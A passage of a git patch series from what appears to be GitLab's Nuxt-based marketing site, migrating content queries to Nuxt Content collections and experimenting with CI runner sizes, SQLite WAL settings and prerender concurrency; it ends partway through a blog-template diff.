 composables/useAuthors.ts       | 24 ++++++++++++------------
 composables/useGitlabContent.ts |  3 +--
 content.config.ts               |  4 ++--
 docs/page-building.md           |  7 ++++---
 pages/search.vue                | 18 ++++++++++--------
 types/blog.ts                   |  4 ++--
 6 files changed, 31 insertions(+), 29 deletions(-)

diff --git a/composables/useAuthors.ts b/composables/useAuthors.ts
index a7d2d9e24..d027fe3b7 100644
--- a/composables/useAuthors.ts
+++ b/composables/useAuthors.ts
@@ -3,19 +3,19 @@ import { useAsyncData } from '#app';
 import type { BlogAuthor } from '~/types/base';
 
 export async function useAuthors(authorNames: string[]): Promise<{ authors: BlogAuthor[] }> {
-  const authors = ref<BlogAuthor[]>([]);
+  if (!authorNames.length) {
+    return { authors: [] };
+  }
 
-  const authorPromises = authorNames.map((author: string) => {
-    const authorsData = queryContent('/en-us/blog/authors').where({ 'content.name': author }).findOne();
+  // It's hard to tell, but I think it's faster to filer in memory?
+  const { data: authors } = await useAsyncData<BlogAuthor[]>(
+    'all-blog-authors',
+    () => queryCollection('blogAuthors').all()
+  );
 
-    return authorsData;
-  });
+  const filteredAuthors = authors.value?.filter(author => {
+    return authorNames.includes(author.content.name);
+  }) || [];
 
-  const { data } = await useAsyncData(async () => {
-    return await Promise.all(authorPromises);
-  });
-  authors.value = data.value;
-  return {
-    authors: authors.value,
-  };
+  return { authors: filteredAuthors };
 }
diff --git a/composables/useGitlabContent.ts b/composables/useGitlabContent.ts
index 39a9a126c..bed412979 100644
--- a/composables/useGitlabContent.ts
+++ b/composables/useGitlabContent.ts
@@ -10,8 +10,7 @@ export const useGitlabContent = async () => {
   const { params } = useRoute();
 
   const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
-
-  const collection = params.slug[0] === 'blog' ? 'blogPost' : 'pages';
+  const collection = params.slug[0] === 'blog' ? 'blogPosts' : 'pages';
   const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).path(slug).first());
   const pageContent = data.value?.body;
 
diff --git a/content.config.ts b/content.config.ts
index 5705b5d07..2912d893a 100644
--- a/content.config.ts
+++ b/content.config.ts
@@ -19,7 +19,7 @@ export default defineContentConfig({
       source: {
         include: '**/blog/*.yml',
         exclude: ['**/blog/authors/**', '**/blog/categories/**', '**/blog/tags/**'],
-        prefix: '/blog',
+        prefix: '/',
       },
     }),
 
@@ -28,7 +28,7 @@ export default defineContentConfig({
       type: 'page',
       source: {
         include: '**/blog/authors/*.yml',
-        prefix: '/blog/authors',
+        prefix: '/',
       },
     }),
 
diff --git a/docs/page-building.md b/docs/page-building.md
index 07343fc30..cb4193dfe 100644
--- a/docs/page-building.md
+++ b/docs/page-building.md
@@ -33,7 +33,8 @@ export const useGitlabContent = async () => {
 
   const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
 
-  const { data } = await useAsyncData('gitlabContent', () => queryContent(slug).findOne());
+  const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).path(slug).first());
+  const pageContent = data.value?.body;
 
   if (!data.value) {
     throw createError({
@@ -42,7 +43,7 @@ export const useGitlabContent = async () => {
     });
   }
 
-  return data.value;
+  return pageContent;
 };
 ```
 
@@ -115,7 +116,7 @@ https://content.nuxt.com/get-started/installation
 ```
 const {
   data: { value: data },
-} = await useAsyncData(() => queryContent(`${locale}/blog/${filename}`).findOne());
+} = await useAsyncData(() => queryCollection('collectionName').path(`${locale}/blog/${filename}`).first());
 
 ```
 
diff --git a/pages/search.vue b/pages/search.vue
index eb039987e..4c53eafcc 100644
--- a/pages/search.vue
+++ b/pages/search.vue
@@ -5,10 +5,12 @@ const { path } = useRoute();
 
 const { locale } = useI18n();
 const { data } = await useAsyncData('search', () =>
-  queryContent(`/${locale.value.toLocaleLowerCase()}/search`).findOne(),
+  queryCollection('pages').path(`/${locale.value.toLocaleLowerCase()}/search`).first(),
 );
+const searchData = data.value?.body;
 
-if (!data.value) {
+
+if (!searchData) {
   throw createError({
     statusCode: 404,
     message: `Page not found in the content library: ${path}`,
@@ -16,16 +18,16 @@ if (!data.value) {
 }
 
 // Generic SEO configuration
-useGitlabSeo(data.value.seo);
+useGitlabSeo(searchData.seo);
 
 // Use a specific layout, use the "default" one if undefined
-setPageLayout(data.value.config?.layout);
+setPageLayout(searchData.config?.layout);
 
 // Error handler for better debugging
 useErrorHandler();
 
 // Enable AOS for the current page
-if (data.value.config?.enableAnimations) {
+if (searchData.config?.enableAnimations) {
   useAOS();
 } else {
   if (import.meta.client) {
@@ -33,18 +35,18 @@ if (data.value.config?.enableAnimations) {
   }
 }
 
-if (!data.value.content) {
+if (!searchData.content) {
   throw createError({
     statusCode: 500,
     message: `Page is missing the "content" attribute: ${path}`,
   });
 }
 
-const resolvedTemplate = await import(`@/components/templates/${data.value.config?.template || 'Common'}.vue`);
+const resolvedTemplate = await import(`@/components/templates/${searchData.config?.template || 'Common'}.vue`);
 </script>
 
 <template>
   <div :id="pathToID(path)">
-    <component :is="resolvedTemplate.default" :content="data?.content" />
+    <component :is="resolvedTemplate.default" :content="searchData.content" />
   </div>
 </template>
diff --git a/types/blog.ts b/types/blog.ts
index 9deadb27a..b5a7cc67f 100644
--- a/types/blog.ts
+++ b/types/blog.ts
@@ -84,11 +84,11 @@ export interface BlogPost {
   heroImage: string;
   description: string;
   date: string;
-  updatedDate: string;
+  updatedDate?: string;
   authors: string[];
   body: string;
   category: string;
-  tags: ValidTag;
+  tags?: ValidTag;
 }
 export interface BlogPage {
   config: {
-- 
GitLab


From acd6d3a61d09f98add96fe4b392a1d90e0472670 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Thu, 27 Feb 2025 01:00:51 -0500
Subject: [PATCH 13/56] fix pipeline

---
 content.config.ts | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/content.config.ts b/content.config.ts
index 2912d893a..5b381a6e8 100644
--- a/content.config.ts
+++ b/content.config.ts
@@ -30,6 +30,18 @@ export default defineContentConfig({
         include: '**/blog/authors/*.yml',
         prefix: '/',
       },
+      schema: z.object({
+        content: z.object({
+          name: z.string(),
+          config: z.object({
+            headshot: z.string().optional(),
+            ctfId: z.string()
+          })
+        }),
+        config: z.object({
+          template: z.string()
+        })
+      })
     }),
 
     // Blog Categories
-- 
GitLab


From 5e7bc05a1c1e1a1231547a6c1ec90f2313397b1d Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Thu, 27 Feb 2025 01:08:41 -0500
Subject: [PATCH 14/56] linting

---
 composables/useAuthors.ts | 13 ++++++-------
 content.config.ts         | 10 +++++-----
 pages/search.vue          |  1 -
 3 files changed, 11 insertions(+), 13 deletions(-)

diff --git a/composables/useAuthors.ts b/composables/useAuthors.ts
index d027fe3b7..78c2aab15 100644
--- a/composables/useAuthors.ts
+++ b/composables/useAuthors.ts
@@ -1,4 +1,3 @@
-import { ref } from 'vue';
 import { useAsyncData } from '#app';
 import type { BlogAuthor } from '~/types/base';
 
@@ -8,14 +7,14 @@ export async function useAuthors(authorNames: string[]): Promise<{ authors: Blog
   }
 
   // It's hard to tell, but I think it's faster to filer in memory?
-  const { data: authors } = await useAsyncData<BlogAuthor[]>(
-    'all-blog-authors',
-    () => queryCollection('blogAuthors').all()
+  const { data: authors } = await useAsyncData<BlogAuthor[]>('all-blog-authors', () =>
+    queryCollection('blogAuthors').all(),
   );
 
-  const filteredAuthors = authors.value?.filter(author => {
-    return authorNames.includes(author.content.name);
-  }) || [];
+  const filteredAuthors =
+    authors.value?.filter((author) => {
+      return authorNames.includes(author.content.name);
+    }) || [];
 
   return { authors: filteredAuthors };
 }
diff --git a/content.config.ts b/content.config.ts
index 5b381a6e8..fc66a6419 100644
--- a/content.config.ts
+++ b/content.config.ts
@@ -35,13 +35,13 @@ export default defineContentConfig({
           name: z.string(),
           config: z.object({
             headshot: z.string().optional(),
-            ctfId: z.string()
-          })
+            ctfId: z.string(),
+          }),
         }),
         config: z.object({
-          template: z.string()
-        })
-      })
+          template: z.string(),
+        }),
+      }),
     }),
 
     // Blog Categories
diff --git a/pages/search.vue b/pages/search.vue
index 4c53eafcc..f80856602 100644
--- a/pages/search.vue
+++ b/pages/search.vue
@@ -9,7 +9,6 @@ const { data } = await useAsyncData('search', () =>
 );
 const searchData = data.value?.body;
 
-
 if (!searchData) {
   throw createError({
     statusCode: 404,
-- 
GitLab


From 237f85bdd350097422795c222b7f47e75de01e7d Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Thu, 27 Feb 2025 14:38:03 -0500
Subject: [PATCH 15/56] Try with more hardware?

---
 .gitlab-ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 117259f5a..420e26e08 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -3,7 +3,7 @@ default:
   image: node:22.11-slim
   interruptible: true
   tags:
-    - saas-linux-xlarge-amd64
+    - saas-linux-2xlarge-amd64
 
 # Specific GCS image for deployment (to be used in deployment jobs)
 .deployment-image:
-- 
GitLab


From b41e8742d6d3f5d93566e14ae2e5eee4ac207a70 Mon Sep 17 00:00:00 2001
From: Chris Fraser <cfraser@gitlab.com>
Date: Thu, 27 Feb 2025 18:58:44 -0500
Subject: [PATCH 16/56] Use wal for journaling

---
 .gitignore        | 2 ++
 .gitlab-ci.yml    | 2 ++
 nuxt.config.ts    | 6 ++++++
 sqlite-config.sql | 4 ++++
 4 files changed, 14 insertions(+)
 create mode 100755 sqlite-config.sql

diff --git a/.gitignore b/.gitignore
index 30a974d9d..0e83511d2 100644
--- a/.gitignore
+++ b/.gitignore
@@ -25,3 +25,5 @@ logs
 
 # Dev Containers
 .devcontainer
+
+gitlabcontent.db
\ No newline at end of file
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 420e26e08..f91722dcb 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -115,6 +115,8 @@ build:
   before_script:
     - apt-get update && apt-get install -y --no-install-recommends git
   script:
+    - sqlite3 gitlab-content.db "VACUUM;"
+    - sqlite < sqlite-config.sql
     - chmod +x ./scripts/diff_checker.sh
     - ./scripts/diff_checker.sh
   dependencies:
diff --git a/nuxt.config.ts b/nuxt.config.ts
index 0d3e23448..5824aeec0 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -4,6 +4,12 @@ import { getGtagConsentScript } from './scripts/gtm-consent-script';
 
 // https://nuxt.com/docs/api/configuration/nuxt-config
 export default defineNuxtConfig({
+  content: {
+    _localDatabase: {
+      type: 'sqlite',
+      filename: 'gitlab-content.db',
+    },
+  },
   ignore: [
     // Ignore all files in the /public/images/blog directory
     'public/images/blog/**',
diff --git a/sqlite-config.sql b/sqlite-config.sql
new file mode 100755
index 000000000..16345abaa
--- /dev/null
+++ b/sqlite-config.sql
@@ -0,0 +1,4 @@
+.open gitlab-content.db
+pragma journal_mode;
+pragma journal_mode = WAL;
+pragma journal_mode;
\ No newline at end of file
-- 
GitLab


From 174eb6cb6ea5c7e9f5df7c8f5951a2f4850ae73f Mon Sep 17 00:00:00 2001
From: Chris Fraser <cfraser@gitlab.com>
Date: Thu, 27 Feb 2025 19:34:20 -0500
Subject: [PATCH 17/56] Install sqlite3

---
 .gitlab-ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index f91722dcb..226dd2474 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -113,7 +113,7 @@ check-duplicate-slugs:
 build:
   stage: build
   before_script:
-    - apt-get update && apt-get install -y --no-install-recommends git
+    - apt-get update && apt-get install -y --no-install-recommends git sqlite3
   script:
     - sqlite3 gitlab-content.db "VACUUM;"
     - sqlite < sqlite-config.sql
-- 
GitLab


From d2ff78875211f4f07401e9a8ce8b6e272547cc09 Mon Sep 17 00:00:00 2001
From: Chris Fraser <cfraser@gitlab.com>
Date: Thu, 27 Feb 2025 19:38:42 -0500
Subject: [PATCH 18/56] Fix misspelled command

---
 .gitlab-ci.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 226dd2474..0a60b46fb 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -116,7 +116,7 @@ build:
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
   script:
     - sqlite3 gitlab-content.db "VACUUM;"
-    - sqlite < sqlite-config.sql
+    - sqlite3 < sqlite-config.sql
     - chmod +x ./scripts/diff_checker.sh
     - ./scripts/diff_checker.sh
   dependencies:
-- 
GitLab


From e6ea40c1e7bf8b6d8e3fea583794d3457b658315 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 00:09:50 -0500
Subject: [PATCH 19/56] Further optimization

---
 sqlite-config.sql | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/sqlite-config.sql b/sqlite-config.sql
index 16345abaa..e2d6d2261 100755
--- a/sqlite-config.sql
+++ b/sqlite-config.sql
@@ -1,4 +1,7 @@
 .open gitlab-content.db
-pragma journal_mode;
-pragma journal_mode = WAL;
-pragma journal_mode;
\ No newline at end of file
+PRAGMA journal_mode;
+PRAGMA journal_mode = WAL;
+PRAGMA synchronous = NORMAL;
+PRAGMA cache_size = -64000;
+PRAGMA mmap_size = 30000000000;
+PRAGMA journal_mode;
-- 
GitLab


From c037326fbd396cdc571d4e77624538ed61c6bd36 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 00:24:51 -0500
Subject: [PATCH 20/56] try a few things

---
 .gitlab-ci.yml | 1 +
 nuxt.config.ts | 1 +
 2 files changed, 2 insertions(+)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 0a60b46fb..3fe594886 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -114,6 +114,7 @@ build:
   stage: build
   before_script:
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
+    - NODE_OPTIONS="--max-old-space-size=8192"
   script:
     - sqlite3 gitlab-content.db "VACUUM;"
     - sqlite3 < sqlite-config.sql
diff --git a/nuxt.config.ts b/nuxt.config.ts
index 5824aeec0..d226efe5f 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -170,6 +170,7 @@ export default defineNuxtConfig({
   css: ['~/assets/css/base.scss', 'slippers-ui/styles/base.scss', 'slippers-ui/styles/components.css'],
   nitro: {
     prerender: {
+      chunking: true,
       crawlLinks: false,
       ignore: ['/200'],
       concurrency: 500,
-- 
GitLab


From 3d088f7deec18521fe168b5a87e41f78271eea18 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 00:41:09 -0500
Subject: [PATCH 21/56] drop concurrency to reduce load on io

---
 nuxt.config.ts | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/nuxt.config.ts b/nuxt.config.ts
index d226efe5f..7f16e43c7 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -170,10 +170,9 @@ export default defineNuxtConfig({
   css: ['~/assets/css/base.scss', 'slippers-ui/styles/base.scss', 'slippers-ui/styles/components.css'],
   nitro: {
     prerender: {
-      chunking: true,
       crawlLinks: false,
       ignore: ['/200'],
-      concurrency: 500,
+      concurrency: 16,
     },
   },
   // https://nuxt.com/docs/getting-started/prerendering#prerenderroutes-nuxt-hook
-- 
GitLab


From ac3ad6fac186bbb9924840fce95b5883ee6ed924 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 00:48:30 -0500
Subject: [PATCH 22/56] increase concurrency, no signs of bottlenecks

---
 nuxt.config.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nuxt.config.ts b/nuxt.config.ts
index 7f16e43c7..186bb2b82 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -172,7 +172,7 @@ export default defineNuxtConfig({
     prerender: {
       crawlLinks: false,
       ignore: ['/200'],
-      concurrency: 16,
+      concurrency: 32,
     },
   },
   // https://nuxt.com/docs/getting-started/prerendering#prerenderroutes-nuxt-hook
-- 
GitLab


From 4263206ea6803a7cf50ab4a3089f67af146fef1a Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 00:55:31 -0500
Subject: [PATCH 23/56] Increase again

---
 nuxt.config.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nuxt.config.ts b/nuxt.config.ts
index 186bb2b82..258680fb7 100644
--- a/nuxt.config.ts
+++ b/nuxt.config.ts
@@ -172,7 +172,7 @@ export default defineNuxtConfig({
     prerender: {
       crawlLinks: false,
       ignore: ['/200'],
-      concurrency: 32,
+      concurrency: 64,
     },
   },
   // https://nuxt.com/docs/getting-started/prerendering#prerenderroutes-nuxt-hook
-- 
GitLab


From 5cb5c824dff8b553db8c9b78148b979ca14a66ec Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 01:07:39 -0500
Subject: [PATCH 24/56] try replacing path with where

---
 composables/useGitlabContent.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/composables/useGitlabContent.ts b/composables/useGitlabContent.ts
index bed412979..782fbec00 100644
--- a/composables/useGitlabContent.ts
+++ b/composables/useGitlabContent.ts
@@ -11,7 +11,7 @@ export const useGitlabContent = async () => {
 
   const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
   const collection = params.slug[0] === 'blog' ? 'blogPosts' : 'pages';
-  const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).path(slug).first());
+  const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).where('slug', slug).first());
   const pageContent = data.value?.body;
 
   if (!pageContent) {
-- 
GitLab


From 467b4c6abee691387a3e5143144897efdc9e161f Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 08:59:24 -0500
Subject: [PATCH 25/56] Add operator

---
 composables/useGitlabContent.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/composables/useGitlabContent.ts b/composables/useGitlabContent.ts
index 782fbec00..965a9e1cc 100644
--- a/composables/useGitlabContent.ts
+++ b/composables/useGitlabContent.ts
@@ -11,7 +11,7 @@ export const useGitlabContent = async () => {
 
   const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
   const collection = params.slug[0] === 'blog' ? 'blogPosts' : 'pages';
-  const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).where('slug', slug).first());
+  const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).where('slug', '=', slug).first());
   const pageContent = data.value?.body;
 
   if (!pageContent) {
-- 
GitLab


From 39048b11c8d99827010f7e2a4db2b05dc2e6078c Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 09:07:55 -0500
Subject: [PATCH 26/56] Revert some changes

---
 .gitlab-ci.yml                  | 3 +--
 composables/useGitlabContent.ts | 2 +-
 sqlite-config.sql               | 3 ---
 3 files changed, 2 insertions(+), 6 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 3fe594886..dd3a2d0cd 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -3,7 +3,7 @@ default:
   image: node:22.11-slim
   interruptible: true
   tags:
-    - saas-linux-2xlarge-amd64
+    - saas-linux-xlarge-amd64
 
 # Specific GCS image for deployment (to be used in deployment jobs)
 .deployment-image:
@@ -114,7 +114,6 @@ build:
   stage: build
   before_script:
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
-    - NODE_OPTIONS="--max-old-space-size=8192"
   script:
     - sqlite3 gitlab-content.db "VACUUM;"
     - sqlite3 < sqlite-config.sql
diff --git a/composables/useGitlabContent.ts b/composables/useGitlabContent.ts
index 965a9e1cc..bed412979 100644
--- a/composables/useGitlabContent.ts
+++ b/composables/useGitlabContent.ts
@@ -11,7 +11,7 @@ export const useGitlabContent = async () => {
 
   const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
   const collection = params.slug[0] === 'blog' ? 'blogPosts' : 'pages';
-  const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).where('slug', '=', slug).first());
+  const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).path(slug).first());
   const pageContent = data.value?.body;
 
   if (!pageContent) {
diff --git a/sqlite-config.sql b/sqlite-config.sql
index e2d6d2261..8292f2b32 100755
--- a/sqlite-config.sql
+++ b/sqlite-config.sql
@@ -1,7 +1,4 @@
 .open gitlab-content.db
 PRAGMA journal_mode;
 PRAGMA journal_mode = WAL;
-PRAGMA synchronous = NORMAL;
-PRAGMA cache_size = -64000;
-PRAGMA mmap_size = 30000000000;
 PRAGMA journal_mode;
-- 
GitLab


From b50e930b02316c639685a9f6c952facf0a474a23 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 09:33:17 -0500
Subject: [PATCH 27/56] Add some logs

---
 .gitlab-ci.yml          | 10 ++++++++++
 scripts/diff_checker.sh |  4 ++--
 2 files changed, 12 insertions(+), 2 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index dd3a2d0cd..e40e4346a 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -113,8 +113,18 @@ check-duplicate-slugs:
 build:
   stage: build
   before_script:
+    - echo "=== SYSTEM PERFORMANCE TESTS ==="
+    - echo "CPU Info:" && lscpu
+    - echo "Memory Info:" && free -m
+    - echo "Disk Speed Test:"
+    - dd if=/dev/zero of=/tmp/test bs=1M count=1024 oflag=direct
+    - echo "I/O Performance (iostat):"
+    - iostat -xm 2 5
+    - echo "=== END OF SYSTEM TESTS ==="
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
   script:
+    - export TMPDIR=/tmp
+    - export NODE_OPTIONS="--max-semi-space-size=512 --max-old-space-size=16384"
     - sqlite3 gitlab-content.db "VACUUM;"
     - sqlite3 < sqlite-config.sql
     - chmod +x ./scripts/diff_checker.sh
diff --git a/scripts/diff_checker.sh b/scripts/diff_checker.sh
index fc9b7a069..c8d562435 100755
--- a/scripts/diff_checker.sh
+++ b/scripts/diff_checker.sh
@@ -3,7 +3,7 @@ echo "script starting"
 
 # Function to run yarn generate and check for errors
 run_generate() {
-  yarn generate "$@"
+  NITRO_DEBUG=1 yarn generate "$@"
   if [ $? -ne 0 ]; then
     echo "yarn generate failed!"
     exit 1
@@ -13,7 +13,7 @@ run_generate() {
 # If FORCE_GENERATE is set, bypass checks and generate all routes
 if [ "$FORCE_GENERATE" == "true" ]; then
   echo "FORCE_GENERATE is set. Bypassing checks and generating all routes."
-  yarn generate
+  NITRO_DEBUG=1 yarn generate
   rm -f .output/public/404.html
   exit 0
 fi
-- 
GitLab


From a323c32520d2d4e5cc2178e2b1b629c2accbb1bf Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 09:39:12 -0500
Subject: [PATCH 28/56] free: command not found

---
 .gitlab-ci.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index e40e4346a..631f1cef7 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -115,11 +115,11 @@ build:
   before_script:
     - echo "=== SYSTEM PERFORMANCE TESTS ==="
     - echo "CPU Info:" && lscpu
-    - echo "Memory Info:" && free -m
+    - echo "Memory Info:" && cat /proc/meminfo | grep -E 'MemTotal|MemFree|Buffers|Cached'
     - echo "Disk Speed Test:"
     - dd if=/dev/zero of=/tmp/test bs=1M count=1024 oflag=direct
     - echo "I/O Performance (iostat):"
-    - iostat -xm 2 5
+    - apk add --no-cache sysstat && iostat -xm 2 5
     - echo "=== END OF SYSTEM TESTS ==="
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
   script:
-- 
GitLab


From dc278ecd4e4a6eb58878e4f3e24a80ca3b173b7d Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 09:49:04 -0500
Subject: [PATCH 29/56] Revert logs

---
 .gitlab-ci.yml          | 10 ----------
 scripts/diff_checker.sh |  4 ++--
 2 files changed, 2 insertions(+), 12 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 631f1cef7..dd3a2d0cd 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -113,18 +113,8 @@ check-duplicate-slugs:
 build:
   stage: build
   before_script:
-    - echo "=== SYSTEM PERFORMANCE TESTS ==="
-    - echo "CPU Info:" && lscpu
-    - echo "Memory Info:" && cat /proc/meminfo | grep -E 'MemTotal|MemFree|Buffers|Cached'
-    - echo "Disk Speed Test:"
-    - dd if=/dev/zero of=/tmp/test bs=1M count=1024 oflag=direct
-    - echo "I/O Performance (iostat):"
-    - apk add --no-cache sysstat && iostat -xm 2 5
-    - echo "=== END OF SYSTEM TESTS ==="
     - apt-get update && apt-get install -y --no-install-recommends git sqlite3
   script:
-    - export TMPDIR=/tmp
-    - export NODE_OPTIONS="--max-semi-space-size=512 --max-old-space-size=16384"
     - sqlite3 gitlab-content.db "VACUUM;"
     - sqlite3 < sqlite-config.sql
     - chmod +x ./scripts/diff_checker.sh
diff --git a/scripts/diff_checker.sh b/scripts/diff_checker.sh
index c8d562435..fc9b7a069 100755
--- a/scripts/diff_checker.sh
+++ b/scripts/diff_checker.sh
@@ -3,7 +3,7 @@ echo "script starting"
 
 # Function to run yarn generate and check for errors
 run_generate() {
-  NITRO_DEBUG=1 yarn generate "$@"
+  yarn generate "$@"
   if [ $? -ne 0 ]; then
     echo "yarn generate failed!"
     exit 1
@@ -13,7 +13,7 @@ run_generate() {
 # If FORCE_GENERATE is set, bypass checks and generate all routes
 if [ "$FORCE_GENERATE" == "true" ]; then
   echo "FORCE_GENERATE is set. Bypassing checks and generating all routes."
-  NITRO_DEBUG=1 yarn generate
+  yarn generate
   rm -f .output/public/404.html
   exit 0
 fi
-- 
GitLab


From 48338294cd976e29b926e5f32e5213564e37d36b Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 10:10:35 -0500
Subject: [PATCH 30/56] add mmap_size

---
 sqlite-config.sql | 1 +
 1 file changed, 1 insertion(+)

diff --git a/sqlite-config.sql b/sqlite-config.sql
index 8292f2b32..735f74006 100755
--- a/sqlite-config.sql
+++ b/sqlite-config.sql
@@ -1,4 +1,5 @@
 .open gitlab-content.db
+PRAGMA mmap_size=30000000000;
 PRAGMA journal_mode;
 PRAGMA journal_mode = WAL;
 PRAGMA journal_mode;
-- 
GitLab


From 27ca39105bbb927b65bb1b0e24eaf11504e32fb7 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Fri, 28 Feb 2025 10:16:56 -0500
Subject: [PATCH 31/56] revert mmap_size

---
 sqlite-config.sql | 1 -
 1 file changed, 1 deletion(-)

diff --git a/sqlite-config.sql b/sqlite-config.sql
index 735f74006..8292f2b32 100755
--- a/sqlite-config.sql
+++ b/sqlite-config.sql
@@ -1,5 +1,4 @@
 .open gitlab-content.db
-PRAGMA mmap_size=30000000000;
 PRAGMA journal_mode;
 PRAGMA journal_mode = WAL;
 PRAGMA journal_mode;
-- 
GitLab


From edf6ba0f70ee9da1e3246b267e4ef86689401156 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 11:35:33 -0500
Subject: [PATCH 32/56] Test with macos image and related posts

---
 .gitlab-ci.yml                                |   2 +-
 components/templates/BlogPost.vue             |  27 +--
 content.config.ts                             |   4 +
 ...app-with-gitlabs-cloud-run-integration.yml | 217 +++++++++---------
 .../blog/gitlab-to-deprecate-older-tls.yml    | 137 ++++++-----
 ...ome-to-self-service-customer-assurance.yml | 186 ++++++++-------
 6 files changed, 278 insertions(+), 295 deletions(-)

diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index dd3a2d0cd..41add9f0f 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -3,7 +3,7 @@ default:
   image: node:22.11-slim
   interruptible: true
   tags:
-    - saas-linux-xlarge-amd64
+    - saas-macos-large-m2pro
 
 # Specific GCS image for deployment (to be used in deployment jobs)
 .deployment-image:
diff --git a/components/templates/BlogPost.vue b/components/templates/BlogPost.vue
index 05953d2f7..568ccd617 100644
--- a/components/templates/BlogPost.vue
+++ b/components/templates/BlogPost.vue
@@ -12,25 +12,14 @@ const { content: post } = defineProps({
 });
 const { authors } = await useAuthors(post.authors ?? []);
 // Temporary commented while we improve pipeline times
-// let relatedPosts;
-// if (!post?.relatedPosts) {
-//   const articleCategory = post?.category;
-//   const currentPostSlug = post?.slug;
+const { data: recentPosts } = await useAsyncData(() =>
+  queryCollection('blogPosts')
+    .where('category', '=', 'Engineering')
+    .order('date', 'DESC')
+    .all()
+);
 
-//   if (articleCategory && currentPostSlug) {
-//     const { data: recentPosts } = await useAsyncData(() =>
-//       queryContent('en-us/blog/')
-//         .where({ category: articleCategory })
